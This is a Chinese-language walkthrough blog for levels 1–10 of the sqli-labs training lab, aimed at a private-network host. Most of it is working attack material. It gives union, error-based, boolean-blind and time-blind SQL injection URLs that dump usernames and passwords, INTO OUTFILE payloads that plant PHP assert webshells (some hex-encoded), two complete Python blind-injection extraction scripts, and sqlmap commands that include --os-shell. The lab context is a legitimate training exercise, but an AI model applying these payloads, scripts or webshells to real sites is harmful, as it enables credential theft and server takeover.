sqli-labs通关（less1~less10）
2021/8/17 2:06:23
本文主要是介绍sqli-labs通关（less1~less10），对大家解决编程问题具有一定的参考价值，需要的程序猿们随着小编来一起学习吧！
目录
题外话
Less-1
Less-2
Less-3
Less-4
Less-5
Less-6
Less-7
Less-8
Less-9
Less-10
这10关都是GET型的，包括了union注入、报错注入、布尔盲注和时间盲注，虽然包含了几种闭合方式，但是没有涉及到过滤和绕过，是最基础的关卡。
题外话
1、我刚发现，原来每关源代码同目录的result.txt中都会记录每次输入的payload
2、闯关的时候发现一个神奇的情况，如果字段本身是int类型，并且在查询语句中该字段的值被双引号或者单引号包裹，则只要值是以正确数字开头的，后面接多余的字符还是可以返回正确的查询结果，甚至单引号中可以包含双引号，双引号中可以包含单引号。如下图所示：
Less-1
首先输入正确的url：http://192.168.101.16/sqli-labs-master/Less-1/?id=1
能够知道本关的查询结果是会回显的
然后输入http://192.168.101.16/sqli-labs-master/Less-1/?id=1'
可以发现这关如果输入不符合sql语法是会在页面上返回报错信息的，根据这个就可以明确知道需要闭合什么符号，比如这关是闭合单引号
这关使用union注入，后续爆库和写webshell的payload如下：
#下面两步找列数 http://192.168.101.16/sqli-labs-master/Less-1/?id=1' order by 3-- s http://192.168.101.16/sqli-labs-master/Less-1/?id=1' order by 4-- s #确定哪个字段有回显 http://192.168.101.16/sqli-labs-master/Less-1/?id=-1' union select 1,2,3-- s #确定当前数据库 http://192.168.101.16/sqli-labs-master/Less-1/?id=-1' union select 1,2,database()-- s #爆出当前数据库内的所有表名 http://192.168.101.16/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- s #爆出当前数据库user表的所有列名 http://192.168.101.16/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()-- s #爆出当前数据库user表所有username和password http://192.168.101.16/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users-- s #下面这步写webshell http://192.168.101.16/sqli-labs-master/Less-1/?id=-1' union select 1,2,'<?php assert($_POST[less1]);?>' into outfile 'C:/less1.php'-- s
爆库结果：
写入服务器的webshell：
这关代码如下，没有对id进行过滤，29行可以看出闭合是单引号，36和38行看出查询结果有回显，另外44行是用于在sql语句有语法问题的时候返回错误的。
Less-2
首先输入正确的url：http://192.168.101.16/sqli-labs-master/Less-2/?id=1
能够知道本关的查询结果是会回显的
然后输入http://192.168.101.16/sqli-labs-master/Less-2/?id=1'
可以发现这关如果输入不符合sql语法是会在页面上返回报错信息的，根据这个就可以明确知道需要闭合什么符号，比如这关不用闭合
这关使用union注入，后续爆库和写webshell的payload如下：
#下面两步找列数 http://192.168.101.16/sqli-labs-master/Less-2/?id=1 order by 3-- s http://192.168.101.16/sqli-labs-master/Less-2/?id=1 order by 4-- s #确定哪个字段有回显 http://192.168.101.16/sqli-labs-master/Less-2/?id=-1 union select 1,2,3-- s #确定当前数据库 http://192.168.101.16/sqli-labs-master/Less-2/?id=-1 union select 1,2,database()-- s #爆出当前数据库内的所有表名 http://192.168.101.16/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- s #爆出当前数据库user表的所有列名 http://192.168.101.16/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()-- s #爆出当前数据库user表所有username和password http://192.168.101.16/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from users-- s #下面这步写webshell http://192.168.101.16/sqli-labs-master/Less-2/?id=-1 union select 1,2,'<?php assert($_POST[less2]);?>' into outfile 'C:/less2.php'-- s
爆库结果：
写入服务器的webshell：
本关代码如下，可以看出除了32行的sql语句中$id没有用引号闭合之外，其他和Less-1都是相同的。
Less-3
首先输入正确的url：http://192.168.101.16/sqli-labs-master/Less-3/?id=1
能够知道本关的查询结果是会回显的
然后输入http://192.168.101.16/sqli-labs-master/Less-3/?id=1'
可以发现这关如果输入不符合sql语法是会在页面上返回报错信息的，根据这个就可以明确知道需要闭合什么符号，比如这关闭合是')
这关使用union注入，后续爆库和写webshell的payload如下：
#下面两步找列数 http://192.168.101.16/sqli-labs-master/Less-3/?id=:1') order by 3-- s http://192.168.101.16/sqli-labs-master/Less-3/?id=:1') order by 4-- s #确定哪个字段有回显 http://192.168.101.16/sqli-labs-master/Less-3/?id=:-1') union select 1,2,3-- s #确定当前数据库 http://192.168.101.16/sqli-labs-master/Less-3/?id=:-1') union select 1,2,database()-- s #爆出当前数据库内的所有表名 http://192.168.101.16/sqli-labs-master/Less-3/?id=:-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- s #爆出当前数据库user表的所有列名 http://192.168.101.16/sqli-labs-master/Less-3/?id=:-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()-- s #爆出当前数据库user表所有username和password http://192.168.101.16/sqli-labs-master/Less-3/?id=:-1') union select 1,group_concat(username),group_concat(password) from users-- s #下面这步写webshell http://192.168.101.16/sqli-labs-master/Less-3/?id=:-1') union select 1,2,'<?php assert($_POST[less3]);?>' into outfile 'C:/less3.php'-- s
爆库结果：
写入服务器的webshell：
本关代码如下，可以看出除了31行的sql语句中的闭合之外，其他和Less-1都是相同的。
Less-4
首先输入正确的url：http://192.168.101.16/sqli-labs-master/Less-4/?id=1
能够知道本关的查询结果是会回显的
然后输入http://192.168.101.16/sqli-labs-master/Less-4/?id=1"
可以发现这关如果输入不符合sql语法是会在页面上返回报错信息的，根据这个就可以明确知道需要闭合什么符号，比如这关闭合是")
(注意这关输入id=1'是不会报错的，原因就是题外话的第2条)
这关使用union注入，后续爆库和写webshell的payload如下：
#下面两步找列数 http://192.168.101.16/sqli-labs-master/Less-4/?id=1") order by 3-- s http://192.168.101.16/sqli-labs-master/Less-4/?id=1") order by 4-- s #确定哪个字段有回显 http://192.168.101.16/sqli-labs-master/Less-4/?id=-1") union select 1,2,3-- s #确定当前数据库 http://192.168.101.16/sqli-labs-master/Less-4/?id=-1") union select 1,2,database()-- s #爆出当前数据库内的所有表名 http://192.168.101.16/sqli-labs-master/Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- s #爆出当前数据库user表的所有列名 http://192.168.101.16/sqli-labs-master/Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()-- s #爆出当前数据库user表所有username和password http://192.168.101.16/sqli-labs-master/Less-4/?id=-1") union select 1,group_concat(username),group_concat(password) from users-- s #下面这步写webshell http://192.168.101.16/sqli-labs-master/Less-4/?id=-1") union select 1,2,'<?php assert($_POST[less4]);?>' into outfile 'C:/less4.php'-- s
爆库结果：
写入服务器的webshell：
本关代码如下，从28，29行可以看出，本关除了sql语句中的闭合之外，其他和Less-1都是相同的。
Less-5
首先输入正确的url：http://192.168.101.16/sqli-labs-master/Less-5/?id=1
能够知道本关的查询结果不回显
然后输入http://192.168.101.16/sqli-labs-master/Less-5/?id=1'
发现语法报错还是存在的，并且从报错可以判断出本关的闭合是单引号
这关使用报错注入，后续爆库和写webshell的payload如下：
#获取当前数据库名称 http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- s #获取当前数据库所有表名称 http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)-- s #获取当前数据库user表所有列名称 http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)-- s #获取当前数据库user表所有username和password的值 http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)-- s http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),32,31),0x7e),1)-- s http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),63,31),0x7e),1)-- s http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),94,31),0x7e),1)-- s http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),125,31),0x7e),1)-- s http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),156,31),0x7e),1)-- s http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),187,31),0x7e),1)-- s #下面这步写webshell http://192.168.101.16/sqli-labs-master/Less-5/?id=1' into outfile 'C:/less5.php' lines terminated by 0x3c3f7068702061737365727428245f504f53545b6c657373355d293b3f3e-- s
爆库结果分好几段，这边就展示第一段
写入服务器的webshell：
下面是本关代码，和Less-1的显著不同是33-39行，查询结果不回显
Less-6
首先输入正确的url：http://192.168.101.16/sqli-labs-master/Less-6/?id=1
能够知道本关的查询结果不回显
再输入：http://192.168.101.16/sqli-labs-master/Less-6/?id=1"
发现语法报错还是存在的，并且从报错可以判断出本关的闭合是双引号
这关使用报错注入，后续爆库和写webshell的payload如下：
#获取当前数据库名称 http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- s #获取当前数据库所有表名称 http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)-- s #获取当前数据库user表所有列名称 http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)-- s #获取当前数据库user表所有username和password的值 http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)-- s http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),32,31),0x7e),1)-- s http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),63,31),0x7e),1)-- s http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),94,31),0x7e),1)-- s http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),125,31),0x7e),1)-- s http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),156,31),0x7e),1)-- s http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),187,31),0x7e),1)-- s #下面这步写webshell http://192.168.101.16/sqli-labs-master/Less-6/?id=1" into outfile 'C:/less6.php' lines terminated by 0x3c3f7068702061737365727428245f504f53545b6c657373365d293b3f3e-- s
爆库结果分好几段，这边就展示第一段
写入服务器的webshell
下面是本关代码，和Less-5的区别仅在于sql语句的参数值闭合符号不同（28，29行）
Less-7
首先输入正确的url：http://192.168.101.16/sqli-labs-master/Less-7/?id=1
能够知道本关的查询结果不回显
再输入：http://192.168.101.16/sqli-labs-master/Less-7/?id=1'
发现本关不会显示具体的sql语法问题
再输入：http://192.168.101.16/sqli-labs-master/Less-7/?id=-1
发现页面回显和上图是一样的。所以本关sql语句有语法错误或者参数值在表中查询不到返回的页面是相同的，并且与参数值正确且无语法错误时不同。这关可以用bool盲注。
如果手工注入的话，闭合可以用burpsuite爆破，这里就不写了。找到闭合之后，就可以开始爆库和写webshell了。
关于爆库，这关我改了一下之前写的脚本（JacquelinXiang/sqli_bool: A simple tool/framework for boolean-based sql injection(GET/POST/COOKIE) (github.com)），修改后的代码如下：
#!/usr/bin/python3
# coding=utf-8
"""
:copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""
import requests
url = "http://192.168.101.16/sqli-labs-master/Less-7/" #有可利用漏洞的url，根据实际情况填写
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",} #http request报文头部，根据实际情况填写
keylist = [chr(i) for i in range(33, 127)] #包括数字、大小写字母、可见特殊字符
flag = 'You are in' #用于判断附加sql语句为真的字符，根据网页回显填写
def CurrentDatabase7():
n = 10 #预测当前数据库名称最大可能的长度，根据实际情况填写
k = 0
j = n//2
length = 0
db = str()
while True:
if j>k and j<n and j-k>3:
payload1 = "1')) and length(database())>"+str(j)+"-- ss" #所有payload根据实际情况填写
param = {
"id":payload1,
}
response = requests.get(url, params = param, headers = headers) #GET方法发送含payload的request
#print(response.request.headers)
#print(response.text)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload2 = "1')) and length(database())="+str(i)+"-- ss"
param = {
"id":payload2,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of current database contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload3 = "1')) and substring(database(),"+str(i)+",1)='"+c+"'-- ss"
param = {
"id":payload3,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
db = db+c
break
print("the name of current database is "+str(db))
def Tables7():
n = 100 #预测当前数据库中所有表名称最大可能的长度，根据实际情况填写
k = 0
j = n//2
length = 0
tname = str()
while True:
if j>k and j<n and j-k>3:
payload4 = "1')) and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))>"+str(j)+"-- ss"
param = {
"id":payload4,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload5 = "1')) and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))="+str(i)+"-- ss"
param = {
"id":payload5,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all tables in current database contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload6 = "1')) and substr((select group_concat(table_name) from information_schema.tables where table_schema = database()),"+str(i)+",1)='"+c+"'-- ss"
param = {
"id":payload6,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
tname = tname+c
break
print("the name of all tables in current database is "+str(tname))
def Columns7(table): #table参数是需要爆破的数据表名称，记得加单引号
n = 200 #预测某个表所有列名称最大可能的长度，根据实际情况填写
k = 0
j = n//2
length = 0
cname = str()
while True:
if j>k and j<n and j-k>3:
payload7 = "1')) and (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = database())))>"+str(j)+"-- ss"
param = {
"id":payload7,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload8 = "1')) and (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = database())))="+str(i)+"-- ss"
param = {
"id":payload8,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all columns in current table contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload9 = "1')) and substr((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = database()),"+str(i)+",1)='"+c+"'-- ss"
param = {
"id":payload9,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
cname = cname+c
break
print("the name of all columns in current table is "+str(cname))
def Content7(table,col1,col2): #table参数是需要爆破的数据表名称，col1和col2是需要爆破内容的列，记得都要加单引号
n = 200 #预测期望获取的数据的最大可能的长度，根据实际情况填写
k = 0
j = n//2
length = 0
content = str()
while True:
if j>k and j<n and j-k>3:
payload10 = "1')) and (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+")))>"+str(j)+"-- ss"
param = {
"id":payload10,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload11 = "1')) and (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+")))="+str(i)+"-- ss"
param = {
"id":payload11,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the content contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload12 = "1')) and substr((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+"),"+str(i)+",1)='"+c+"'-- ss"
param = {
"id":payload12,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
content = content+c
break
print("the content is "+str(content))
测试结果如下：
写入webshell使用如下payload：
http://192.168.101.16/sqli-labs-master/Less-7/?id=1')) into outfile 'C:/less7.php' lines terminated by 0x3c3f7068702061737365727428245f504f53545b6c657373375d293b3f3e-- s
0x后面是<?php assert($_POST[less7]);?>的十六进制编码。服务器上写入的webshell如下：
本关代码如下，从45，46行可见，当查询不到正确结果的时候，输出提示You have an error in your SQL syntax，而不返回报错。
Less-8
首先输入正确的url：http://192.168.101.16/sqli-labs-master/Less-8/?id=1
能够知道本关的查询结果不回显
再输入：http://192.168.101.16/sqli-labs-master/Less-8/?id=1'
发现除了固定页面显示之外，没有任何回显
再输入：http://192.168.101.16/sqli-labs-master/Less-8/?id=-1
效果和上图一样。这关可以用bool盲注。
同样，这关我们手工注入找闭合可以用burpsuite爆破。
接下来的爆库，我在上一关代码的基础上做了修改，修改后的代码如下：
#!/usr/bin/python3
# coding=utf-8
"""
functions for boolean-based sql injection(GET)
:copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""
import requests
url = "http://192.168.101.16/sqli-labs-master/Less-8/" #有可利用漏洞的url，根据实际情况填写
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",} #http request报文头部，根据实际情况填写
keylist = [chr(i) for i in range(33, 127)] #包括数字、大小写字母、可见特殊字符
flag = 'You are in' #用于判断附加sql语句为真的字符，根据网页回显填写
def CurrentDatabaseGET():
n = 10 #预测当前数据库名称最大可能的长度，根据实际情况填写
k = 0
j = n//2
length = 0
db = str()
while True:
if j>k and j<n and j-k>3:
payload1 = "1' and length(database())>"+str(j)+"-- ss" #所有payload根据实际情况填写
param = {
"id":payload1,
}
response = requests.get(url, params = param, headers = headers) #GET方法发送含payload的request
#print(response.request.headers)
#print(response.text)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload2 = "1' and length(database())="+str(i)+"-- ss"
param = {
"id":payload2,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of current database contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload3 = "1' and substring(database(),"+str(i)+",1)='"+c+"'-- ss"
param = {
"id":payload3,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
db = db+c
break
print("the name of current database is "+str(db))
def TablesGET():
n = 100 #预测当前数据库中所有表名称最大可能的长度，根据实际情况填写
k = 0
j = n//2
length = 0
tname = str()
while True:
if j>k and j<n and j-k>3:
payload4 = "1' and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))>"+str(j)+"-- ss"
param = {
"id":payload4,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload5 = "1' and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))="+str(i)+"-- ss"
param = {
"id":payload5,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all tables in current database contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload6 = "1' and substr((select group_concat(table_name) from information_schema.tables where table_schema = database()),"+str(i)+",1)='"+c+"'-- ss"
param = {
"id":payload6,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
tname = tname+c
break
print("the name of all tables in current database is "+str(tname))
def ColumnsGET(table): #table参数是需要爆破的数据表名称，记得加单引号
n = 200 #预测某个表所有列名称最大可能的长度，根据实际情况填写
k = 0
j = n//2
length = 0
cname = str()
while True:
if j>k and j<n and j-k>3:
payload7 = "1' and (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = database())))>"+str(j)+"-- ss"
param = {
"id":payload7,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload8 = "1' and (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = database())))="+str(i)+"-- ss"
param = {
"id":payload8,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all columns in current table contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload9 = "1' and substr((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = database()),"+str(i)+",1)='"+c+"'-- ss"
param = {
"id":payload9,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
cname = cname+c
break
print("the name of all columns in current table is "+str(cname))
def ContentGET(table,col1,col2): #table参数是需要爆破的数据表名称，col1和col2是需要爆破内容的列，记得都要加单引号
n = 200 #预测期望获取的数据的最大可能的长度，根据实际情况填写
k = 0
j = n//2
length = 0
content = str()
while True:
if j>k and j<n and j-k>3:
payload10 = "1' and (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+")))>"+str(j)+"-- ss"
param = {
"id":payload10,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload11 = "1' and (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+")))="+str(i)+"-- ss"
param = {
"id":payload11,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the content contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload12 = "1' and substr((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+"),"+str(i)+",1)='"+c+"'-- ss"
param = {
"id":payload12,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
content = content+c
break
print("the content is "+str(content))
爆库结果：
接下来写webshell：
http://192.168.101.16/sqli-labs-master/Less-8/?id=1' into outfile 'C:/less8.php' lines terminated by 0x3c3f7068702061737365727428245f504f53545b6c657373385d293b3f3e-- s
服务器中写入的webshell如下：
本关代码如下，代码上看和上一关的主要区别在于数据库未查询到正确结果时，本关什么都不回显，注入逻辑上看其实没啥区别
Less-9
本关不管id的值是数据库中存在的（id=1）还是不存在的（id=-1），页面回显都是一样的：
输入http://192.168.101.16/sqli-labs-master/Less-9/?id=1' and if(1=1,sleep(2),0)-- s
页面会过2s再刷新成功
输入http://192.168.101.16/sqli-labs-master/Less-9/?id=1' and if(1=2,sleep(2),0)-- s
页面立刻刷新成功
本关可以用基于时间的盲注
这关用sqlmap来试试，启动sqlmap并输入如下语句
#获取所有数据库名称 python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --dbs #获取当前数据库 python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --current-db #获取数据库security所有表名称 python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --tables -D security #获取数据库security的users表的所有列名 python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --columns -D security -T users #获取数据库security的users表的username和password列的值 python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --dump -D security -T users -C username,password #写马 python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --os-shell
爆库结果：
写马的时候，发生了一件令我疑惑的事情，目录C:\phpstudy_pro\WWW下命令行shell和上传文件的shell都可以写成功，但目录C:\less9下只能写入上传文件的shell，并且sqlmap的返回结果说写shell失败。具体原因目前还不清楚。
然后又发现一件搞笑的事情，我仔细一看，sqlmap不但识别出本关可以使用时间盲注，还识别出本关可以使用布尔盲注。并且看了本关文件夹下的result.txt之后发现，sqlmap最终选的注入方法是布尔盲注（好机智，毕竟时间盲注慢）。
看了本关代码之后发现，原来查询到结果和查询不到结果的返回页面有html代码上的区别……
启示：以后遇到参数值输入正确和错误页面回显一样的情况，还得看看网页源代码
备注：本关也可以手工注入写马：
http://192.168.101.16/sqli-labs-master/Less-9/?id=1' into outfile 'C:/less9.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C657373395D293B3F3E-- s
写入服务器的webshell：
Less-10
本关不管id的值是数据库中存在的（id=1）还是不存在的（id=-1），页面回显都是一样的：
查看网页源代码，下图是id=1的时候
下图是id=-1的时候
差异还是挺明显的，所以这关也是可以进行布尔盲注的，可是标题说了time based所以……到底要不要给面子呢？
还是给点面子吧^^
这题如果用手工注入，可以试试改一改JacquelinXiang/sqli_blind: A simple tool/framework for boolean-based or time-based sql injection(blind) (github.com)的sqli_tb.py
我这里又偷懒了，用sqlmap来注入，payload和上一关差不多，但是要多加点参数（--technique T --level 3），具体如下：
#获取当前数据库 python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-10/?id=1" --current-db --technique T --level 3 #获取数据库security所有表名称 python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-10/?id=1" --tables -D security --technique T --level 3 #获取数据库security的users表的所有列名 python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-10/?id=1" --columns -D security -T users --technique T --level 3 #获取数据库security的users表的username和password列的值 python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-10/?id=1" --dump -D security -T users -C username,password --technique T --level 3
时间盲注真的很慢！！！能用别的就别用这个！！
手工注入一下webshell：
先看看sqlmap注入用的payload，可见闭合是双引号
所以可以用下面的payload来写webshell：
http://192.168.101.16/sqli-labs-master/Less-10/?id=1" into outfile 'C:/less10.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C65737331305D293B3F3E-- s
写入服务器的webshell：
本关代码和Less-9除了闭合不同也没啥不一样了……
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